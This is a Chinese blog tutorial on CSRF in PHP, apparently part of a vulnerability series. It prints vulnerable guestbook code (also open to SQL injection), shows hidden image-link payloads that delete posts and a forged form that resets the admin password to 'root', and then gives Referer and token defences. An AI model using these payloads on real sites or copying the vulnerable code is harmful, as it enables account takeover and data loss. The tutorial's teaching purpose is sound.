PHP漏洞全解(六)-跨網站請求僞造

爲了自我學習和交流PHP(jquery,linux,lamp,shell,javascript,服務器)等一系列的知識,希望光臨本博客的人可以進來交流。尋求共同發展。搭建平臺。本人博客也有許多的技術文檔,希望可以爲你提供一些幫助。


QQ羣: 191848169   點擊鏈接加入羣【PHP技術交流(總羣)】



CSRF(Cross Site Request Forgeries),意爲跨網站請求僞造,也有寫爲XSRF。攻擊者僞造目標用戶的HTTP請求,然後此請求發送到有CSRF漏洞的網站,網站執行此請 求後,引發跨站請求僞造攻擊。攻擊者利用隱蔽的HTTP連接,讓目標用戶在不注意的情況下單擊這個鏈接,由於是用戶自己點擊的,而他又是合法用戶擁有合法 權限,所以目標用戶能夠在網站內執行特定的HTTP鏈接,從而達到攻擊者的目的。

例如:某個購物網站購買商品時,採用http://www.shop.com/buy.php?item=watch&num=1,item參數確定要購買什麼物品,num參數確定要購買數量,如果攻擊者以隱藏的方式發送給目標用戶鏈接,那麼如果目標用戶不小心訪問以後,購買的數量就成了1000個
實例
隨緣網絡PHP留言板V1.0
任意刪除留言
//delbook.php 此頁面用於刪除留言
include_once(“dlyz.php”); //dlyz.php用戶驗證權限,當權限是admin的時候方可刪除留言
include_once(“../conn.php”);
$del=$_GET[“del”];
$id=$_GET[“id”];
if ($del==”data”)
{
$ID_Dele= implode(“,”,$_POST[‘adid’]);
$sql=”delete from book where id in (“.$ID_Dele.”)”;
mysql_query($sql);
}
else
{
$sql=”delete from book where id=”.$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo “”;
echo “alert(‘刪除成功!’);”;
echo ” location=’book.php’;”;
echo “”;
?>
當我們具有admin權限,提交http://localhost/manage/delbook.php?id=2 時,就會刪除id爲2的留言
<iframe allowfullscreen=”true” allowtransparency=”true” frameborder=”0″ height=”60″ hspace=”0″ id=”aswift_1″ marginheight=”0″ marginwidth=”0″ name=”aswift_1″ scrolling=”no” style=”margin: 0px; padding: 0px; border-width: 0px; vertical-align: baseline; left: 0px; position: absolute; top: 0px;” vspace=”0″ width=”468″></iframe>利用方法:
我們使用普通用戶留言(源代碼方式),內容爲
“delbook.php?id=2” />
“delbook.php?id=3” />
“delbook.php?id=4” />
“delbook.php?id=5” />
插入4張圖片鏈接分別刪除4個id留言,然後我們返回首頁瀏覽看,沒有什麼變化。。圖片顯示不了
現在我們再用管理員賬號登陸後,來刷新首頁,會發現留言就剩一條,其他在圖片鏈接中指定的ID號的留言,全部都被刪除。
攻擊者在留言中插入隱藏的圖片鏈接,此鏈接具有刪除留言的作用,而攻擊者自己訪問這些圖片鏈接的時候,是不具有權限的,所以看不到任何效果,但是當管理員登陸後,查看此留言,就會執行隱藏的鏈接,而他的權限又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET[“act”])
{
$username=$_POST[“username”];
$sh=$_POST[“sh”];
$gg=$_POST[“gg”];
$title=$_POST[“title”];
$copyright=$_POST[“copyright”].”
設計製作:黑客契約安全網”;
$password=md5($_POST[“password”]);
if(emptyempty($_POST[“password”]))
{
$sql=”update gly set username=’”.$username.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
else
{
$sql=”update gly set username=’”.$username.”’,password=’”.$password.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
mysql_query($sql);
mysql_close($conn);
echo “”;
echo “alert(‘修改成功!’);”;
echo ” location=’pass.php’;”;
echo “”;
}
這個文件用於修改管理密碼和網站設置的一些信息,我們可以直接構造如下表單:
<body>
<form action=”http://localhost/manage/pass.php?act=xg” method=”post” name=”form1″ id=”form1″>
<input type=”radio” value=”1″ name=”sh”>
<input type=”radio” name=”sh” checked value=”0″>
<input type=”text” name=”username” value=”root”>
<input type=”password” name=”password” value=”root”>
<input type=”text” name=”title” value=”隨緣網絡PHP留言板V1.0(帶審覈功能)” >
<textarea name=”gg” rows=”6″ cols=”80″ >歡迎您安裝使用隨緣網絡PHP留言板V1.0(帶審覈功能)!textarea>
<textarea name=”copyright” rows=”6″ cols=”80″ >隨緣網絡PHP留言本V1.0 版權所有:廈門隨緣網絡科技 2005-2009<br/>承接網站建設及系統定製 提供優惠主機域名textarea>
form>
body>
存爲attack.html,放到自己網站上http://www.sectop.com/attack.html,此頁面訪問後會自動向目標程序的pass.php提交參數,用戶名修改爲root,密碼修改爲root,然後我們去留言板發一條留言,隱藏這個鏈接,管理訪問以後,他的用戶名和密碼全部修改成了root
防範方法
防範CSRF要比防範其他攻擊更加困難,因爲CSRF的HTTP請求雖然是攻擊者僞造的,但是卻是由目標用戶發出的,一般常見的防範方法有下面幾種:
1、檢查網頁的來源
2、檢查內置的隱藏變量
3、使用POST,不要使用GET
檢查網頁來源
在//pass.php頭部加入以下紅色字體代碼,驗證數據提交
if($_GET[“act”])
{
if(isset($_SERVER[“HTTP_REFERER”]))
{
$serverhost = $_SERVER[“SERVER_NAME”];
$strurl = str_replace(“http://”,””,$_SERVER[“HTTP_REFERER”]);
$strdomain = explode(“/”,$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo “”;
echo “alert(‘數據來源異常!’);”;
echo ” location=’index.php’;”;
echo “”;
}
}
$username=$_POST[“username”];
$sh=$_POST[“sh”];
$gg=$_POST[“gg”];
$title=$_POST[“title”];
$copyright=$_POST[“copyright”].”
設計製作:廈門隨緣網絡科技”;
$password=md5($_POST[“password”]);
if(emptyempty($_POST[“password”]))
{
$sql=”update gly set username=’”.$username.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
else
{
$sql=”update gly set username=’”.$username.”’,password=’”.$password.”’,sh=”.$sh.”,gg=’”.$gg.”’,title=’”.$title.”’,copyright=’”.$copyright.”’ where id=1″;
}
mysql_query($sql);
mysql_close($conn);
echo “”;
echo “alert(‘修改成功!’);”;
echo ” location=’pass.php’;”;
echo “”;
}
檢查內置隱藏變量
我們在表單中內置一個隱藏變量和一個session變量,然後檢查這個隱藏變量和session變量是否相等,以此來判斷是否同一個網頁所調用
php
include_once("dlyz.php");include_once("../conn.php");if($_GET["act"]){if (!isset($_SESSION["post_id"])){// 生成唯一的ID,並使用MD5來加密$post_id = md5(uniqid(rand(), true));// 創建Session變量$_SESSION["post_id"] = $post_id;}// 檢查是否相等if (isset($_SESSION["post_id"])){// 不相等if ($_SESSION["post_id"] != $_POST["post_id"]){// 清除POST變量unset($_POST);echo "<script language=’javascript’>";echo "alert(‘數據來源異常!’);";echo " location=’index.php’;";echo "script>";}}……<input type="reset" name="Submit2" value="重 置"><input type="hidden" name="post_id" value="php echo $_SESSION["post_id"];?>">td>tr>table>form>php}mysql_close($conn);?></body>
</html>
使用POST,不要使用GET
傳遞表單字段時,一定要是用POST,不要使用GET,處理變量也不要直接使用$_REQUEST
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章